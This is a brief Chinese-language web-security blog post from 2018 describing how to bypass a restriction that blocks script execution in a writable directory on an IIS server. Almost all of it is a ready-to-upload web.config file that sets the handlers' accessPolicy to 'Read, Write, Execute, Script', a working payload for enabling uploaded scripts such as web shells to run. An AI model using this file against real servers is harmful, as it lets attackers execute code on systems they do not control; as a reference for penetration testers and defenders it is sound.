Web.config 突破权限限制

X1r0z included in category Web安全

2018-07-19 2018-07-19 17 words One minute

Contents

在一个可读写的目录里无法执行脚本, 通过上传特殊的 web.config 文件突破限制.

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
        <handlers accessPolicy="Read, Write, Execute, Script" />
    </system.webServer>
</configuration>